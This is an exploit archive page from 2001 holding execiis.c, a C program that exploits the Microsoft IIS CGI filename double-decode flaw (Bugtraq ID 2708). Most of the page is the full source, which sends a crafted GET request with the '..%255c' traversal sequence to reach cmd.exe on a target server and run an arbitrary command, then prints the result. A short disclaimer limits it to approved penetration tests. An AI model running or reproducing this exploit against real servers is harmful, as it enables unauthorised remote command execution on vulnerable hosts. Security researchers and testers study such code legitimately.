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execiis.c

execiis.c
Posted May 17, 2001
Authored by Filip Maertens | Site vorlon.hexyn.be

Execiis.c is a remote exploit for Bugtraq ID 2708 - Microsoft IIS CGI filename decode error.

tags | exploit, remote, cgi
SHA-256 | 930daed1380743902694409c2275d36ed101487eb3dbd8df8b795068aba598ba

execiis.c

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/*
*
* execiis.c - (c)copyright Filip Maertens
* BUGTRAQ ID: 2708 - Microsoft IIS CGI Filename Decode Error
*
* DISCLAIMER: This is proof of concept code. This means, this
code
* may only be used on approved systems in order to test the
availability
* and integrity of machines during a legal penetration test. In no
way
* is the author of this exploit responsible for the use and result
of
* this code.
*
* I no way does the author of this proof of concept code claim
credits
* for the advisory being discussed. This is simply an easy-to-use,
out-
* of-the-box, quick'n'dirty piece of code. Use it, test it...
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>


/* Modify this value to whichever sequence you want.
*
* %255c = %%35c = %%35%63 = %25%35%63 = /
*
*/

#define SHOWSEQUENCE "/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+"



int main(int argc, char *argv[])
{

struct sockaddr_in sin;
char recvbuffer[1], stuff[200];
int create_socket;

printf("iisexec.c | Microsoft IIS CGI Filename Decode Error |
<filip@securax.be>\n-------------------------------------------------------------------------\n");

if (argc < 3)
{
printf(" -- Usage: iisexec [ip] [command]\n");
exit(0);
}


if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 )
printf(" -- Socket created.\n");

sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr(argv[1]);

if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0)
printf(" -- Connection made.\n");
else
{ printf(" -- No connection.\n"); exit(1); }


strcat(stuff, "GET ");
strcat(stuff, SHOWSEQUENCE);
strcat(stuff, argv[2]);
strcat(stuff, " HTTP/1.0\n\n");

memset(recvbuffer, '\0',sizeof(recvbuffer));

send(create_socket, stuff, sizeof(stuff), 0);
recv(create_socket, recvbuffer, sizeof (recvbuffer),0);


if ( ( strstr(recvbuffer,"404") == NULL ) ) {
while(recv(create_socket, recvbuffer, 1, 0) > 0)
{
printf("%c", recvbuffer[0]);
}
} else {
printf(" -- Wrong command processing. \n");
}

close(create_socket);

}

// EOF - More exploits @ http://vorlon.hexyn.be

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